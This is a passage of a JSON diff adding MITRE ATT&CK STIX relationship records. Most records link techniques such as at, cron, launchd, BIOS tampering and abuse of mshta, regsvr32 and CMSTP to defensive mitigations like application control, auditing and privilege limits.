"relationship--0bd4bdb8-1687-4421-bdfd-8c122c7df07c", + "description": "Users account-level access to [at](https://attack.mitre.org/software/S0110) can be managed using /etc/at.allow and /etc/at.deny files. Users listed in the at.allow are enabled to schedule actions using at, whereas users listed in at.deny file disabled from the utility.", + "target_ref": "attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e", + "modified": "2021-10-15T14:36:26.190Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-12-03T12:59:36.932Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2874fcb6-7c74-4192-aa53-7d2a9d9e4705", + "description": "Scheduled tasks using [at](https://attack.mitre.org/software/S0110) can be audited locally, or through centrally collected logging, using syslog, or auditd events from the host. (Citation: Kifarunix - Task Scheduling in Linux)", + "target_ref": "attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e", + "modified": "2021-10-15T14:36:26.214Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-12-03T12:59:36.934Z", + "external_references": [ + { + "url": "https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/", + "description": "Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019.", + "source_name": "Kifarunix - Task Scheduling in Linux" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4fabd2f2-9dbf-45f6-80fb-86d410de1e6c", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "modified": "2019-12-03T12:59:36.944Z", + "source_ref": "attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2019-12-03T12:59:36.944Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ef22d078-e72a-458f-8a38-38395abd1f39", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.", + "target_ref": "attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3", + "modified": "2021-10-07T21:38:03.891Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-12-03T14:15:27.674Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fc1a7e74-1812-4624-9fa2-316d88a17064", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.", + "target_ref": "attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3", + "modified": "2021-10-07T21:38:03.896Z", + "source_ref": "course-of-action--402e92cd-5608-4f4b-9a34-a2c962e4bcd7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-12-03T14:15:27.683Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8b51066a-0949-431b-ba07-2bbd3f1f04bb", + "description": "Audit logging for launchd events in MacOS can be reviewed or centrally collected using multiple options, such as syslog, OpenBSM, or OSquery.", + "target_ref": "attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3", + "modified": "2021-10-07T21:38:03.897Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-12-03T14:15:27.692Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ae8d9f3e-9243-4702-a305-e4b53cd32351", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "modified": "2019-12-03T14:15:27.693Z", + "source_ref": "attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2019-12-03T14:15:27.693Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--06287ae2-325c-448e-8790-3c37492e1c29", + "description": "Review changes to the cron schedule. cron execution can be reviewed within the /var/log directory. To validate the location of the cron log file, check the syslog config at /etc/rsyslog.conf or /etc/syslog.conf ", + "target_ref": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c", + "modified": "2021-08-23T15:29:37.020Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-12-03T14:25:00.664Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--be61d80d-2291-4572-960c-dd741534f855", + "description": "cron permissions are controlled by /etc/cron.allow and /etc/cron.deny. If there is a cron.allow file, then the user or users that need to use cron will need to be listed in the file. cron.deny is used to explicitly disallow users from using cron. If neither files exist, then only the super user is allowed to run cron.", + "target_ref": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c", + "modified": "2021-08-23T15:29:37.034Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-12-03T14:25:00.662Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--51194570-630f-4d23-ab45-234a0f048b94", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "modified": "2019-12-03T14:25:00.678Z", + "source_ref": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2019-12-03T14:25:00.678Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cd228bad-f797-4d32-a510-d601b58553f6", + "target_ref": "attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb", + "modified": "2019-12-12T14:59:58.329Z", + "source_ref": "attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2019-12-12T14:59:58.329Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--16f472ba-e66d-4317-bb52-b9e3ce76b37b", + "target_ref": "attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb", + "modified": "2019-12-12T15:08:21.109Z", + "source_ref": "attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2019-12-12T15:08:21.109Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ed31775e-0622-403a-b7a0-01d90b0d1c1f", + "description": "Ensure all application component binaries are signed by the correct application developers. ", + "target_ref": "attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1", + "modified": "2021-10-18T17:05:44.641Z", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-12-12T15:21:30.289Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b5963cc5-0488-46a8-b47a-b781ac724590", + "target_ref": "attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb", + "modified": "2019-12-13T16:46:19.048Z", + "source_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2019-12-13T16:46:19.048Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0ee07cbe-2ff1-4ea9-8a72-c83a67ce4bba", + "description": "Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Use Trusted Platform Module technology. (Citation: TCG Trusted Platform Module) Move system's root of trust to hardware to prevent tampering with the SPI flash memory.(Citation: ESET LoJax Sept 2018) Technologies such as Intel Boot Guard can assist with this. (Citation: Intel Hardware-based Security Technologies)", + "target_ref": "attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada", + "modified": "2020-05-19T21:22:38.135Z", + "source_ref": "course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-12-19T19:43:34.924Z", + "external_references": [ + { + "source_name": "TCG Trusted Platform Module", + "description": "Trusted Computing Group. (2008, April 29). Trusted Platform Module (TPM) Summary. Retrieved June 8, 2016.", + "url": "http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf", + "description": "ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019.", + "source_name": "ESET LoJax Sept 2018" + }, + { + "url": "https://www.intel.com/content/dam/www/public/us/en/documents/white-papers/security-technologies-4th-gen-core-retail-paper.pdf", + "description": "Intel. (2013). Intel Hardware-based Security Technologies for Intelligent Retail Devices. Retrieved May 19, 2020.", + "source_name": "Intel Hardware-based Security Technologies" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3b883930-6ab6-40df-a652-956c2524f300", + "description": "Patch the BIOS and EFI as necessary.", + "target_ref": "attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada", + "modified": "2020-05-19T21:22:38.148Z", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-12-19T19:43:34.928Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--49f4c3d1-25a1-49e1-af9f-80a4c2eb4bf7", + "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique.", + "target_ref": "attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada", + "modified": "2020-05-19T21:22:38.147Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-12-19T19:43:34.930Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--252b1cd8-4787-424f-b12b-070427fa857c", + "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique. 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Retrieved February 4, 2019.", + "url": "https://github.com/sensepost/ruler" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--66620243-f978-4038-8bf3-d574b5ce5b90", + "description": "[Ruler](https://attack.mitre.org/software/S0358) can be used to automate the abuse of Outlook Forms to establish persistence.(Citation: SensePost Ruler GitHub)", + "target_ref": "attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634", + "modified": "2020-01-22T15:11:52.138Z", + "source_ref": "tool--90ac9266-68ce-46f2-b24f-5eb3b2a8ea38", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-01-22T15:11:52.138Z", + "external_references": [ + { + "source_name": "SensePost Ruler GitHub", + "description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. 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"description": "Consider using application control configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "target_ref": "attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49", + "modified": "2020-06-20T22:34:03.422Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-23T18:30:11.123Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fd38c0fc-72d8-4638-b6e7-1f6c5964ab5c", + "description": "CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation).", + "target_ref": "attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49", + "modified": "2020-06-20T22:34:03.437Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-23T18:30:11.132Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--51c6ea7a-8978-4bd5-9cc1-7d80bb16e70b", + "description": "Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files", + "target_ref": "attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", + "modified": "2020-06-20T22:32:24.753Z", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-23T18:56:39.109Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f4702ee6-c04f-4ccb-95f3-1b40cf6c69c8", + "description": "Consider using application control to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "target_ref": "attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", + "modified": "2020-06-20T22:32:24.757Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-23T18:56:39.133Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--21ce896b-e6b5-4075-8d97-6b59c269247c", + "description": "Use application control configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "target_ref": "attack-pattern--2cd950a6-16c4-404a-aa01-044322395107", + "modified": "2020-06-20T22:34:46.656Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-23T19:09:49.092Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a6352ede-7afb-4be5-bba4-bd5c0a20bae6", + "description": "InstallUtil may not be necessary within a given environment.", + "target_ref": "attack-pattern--2cd950a6-16c4-404a-aa01-044322395107", + "modified": "2020-06-20T22:34:46.678Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-23T19:09:49.097Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1837a0e7-d8aa-4c96-8213-7d08ceb86390", + "description": "Use application control configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries. For example, in Windows 10 and Windows Server 2016 and above, Windows Defender Application Control (WDAC) policy rules may be applied to block the mshta.exe application and to prevent abuse.(Citation: Microsoft WDAC)", + "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", + "modified": "2021-10-15T23:59:00.756Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-23T19:32:49.903Z", + "external_references": [ + { + "url": "https://docs.microsoft.com/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules", + "description": "Coulter, D. et al.. (2019, April 9). Microsoft recommended block rules. Retrieved August 12, 2021.", + "source_name": "Microsoft WDAC" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--98afbb05-d48e-4438-add6-df3ea9fb568c", + "description": "Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life.", + "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", + "modified": "2021-10-15T23:59:00.792Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-23T19:32:49.905Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2d712b2d-a9a6-4efd-b37e-1219768bdde7", + "description": "Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuse by adversaries.", + "target_ref": "attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8", + "modified": "2020-06-20T22:36:37.501Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-23T19:42:16.784Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ce47df8d-02dc-4380-90f8-282e009ef0fe", + "description": "Regsvcs and Regasm may not be necessary within a given environment.", + "target_ref": "attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8", + "modified": "2020-06-20T22:36:37.504Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-23T19:42:16.786Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b0da6a37-0a54-438f-abeb-7f1dcfebaa45", + "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass application control. (Citation: Secure Host Baseline EMET) Identify and block potentially malicious software executed through regsvr32 functionality by using application control (Citation: Beechey 2010) tools, like Windows Defender Application Control(Citation: Microsoft Windows Defender Application Control), AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", + "modified": "2021-08-23T20:25:22.472Z", + "source_ref": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-23T19:52:17.661Z", + "external_references": [ + { + "source_name": "Secure Host Baseline EMET", + "description": "National Security Agency. (2016, May 4). Secure Host Baseline EMET. Retrieved June 22, 2016.", + "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control", + "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.", + "source_name": "Microsoft Windows Defender Application Control" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2db67ddf-b414-4dc7-87ab-0846a8bd1e8e", + "description": "Restrict storage and execution of Control Panel items to protected directories, such as C:\\Windows, rather than user directories.", + "target_ref": "attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f", + "modified": "2020-10-21T18:37:13.152Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-23T19:59:52.898Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--98d0fca0-b3e7-4f69-b5f3-527cdd4f48c9", + "description": "Identify and block potentially malicious and unknown .cpl files by using application control (Citation: Beechey 2010) tools, like Windows Defender Application Control(Citation: Microsoft Windows Defender Application Control), AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "target_ref": "attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f", + "modified": "2021-08-23T20:25:22.574Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-23T19:59:52.901Z", + "external_references": [ + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control", + "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.", + "source_name": "Microsoft Windows Defender Application Control" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4cfd348f-d2b0-4e89-b485-b2d02f912d1d", + "target_ref": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", + "modified": "2020-01-23T22:02:48.682Z", + "source_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-01-23T22:02:48.682Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--330c49c0-a785-46f9-99c1-74322e26e20d", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2020-01-23T22:05:32.578Z", + "source_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-01-23T22:05:32.578Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--294aeda1-707d-45d6-9308-cff2c06c7a58", + "target_ref": "attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c", + "modified": "2020-01-24T13:40:47.474Z", + "source_ref": "course-of-action--d7c49196-b40e-42bc-8eed-b803113692ed", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-24T13:40:47.474Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8d5a5b8c-48a3-4d1c-bb39-89fd4a03bd15", + "target_ref": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", + "modified": "2020-01-24T13:40:47.476Z", + "source_ref": "attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-01-24T13:40:47.476Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0b66c798-f1fc-4e2f-b3b4-433dde89a191", + "target_ref": "attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c", + "modified": "2020-01-24T13:41:32.702Z", + "source_ref": "attack-pattern--68c96494-1a50-403e-8844-69a6af278c68", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-01-24T13:41:32.702Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1174923e-8d3e-4932-9121-8f5fb7089c1e", + "description": "Block .scr files from being executed from non-standard locations.", + "target_ref": "attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf", + "modified": "2020-03-23T12:23:05.078Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-24T13:51:01.404Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6a13bd6f-fa86-4fdd-9add-6446ef2679b0", + "description": "Use 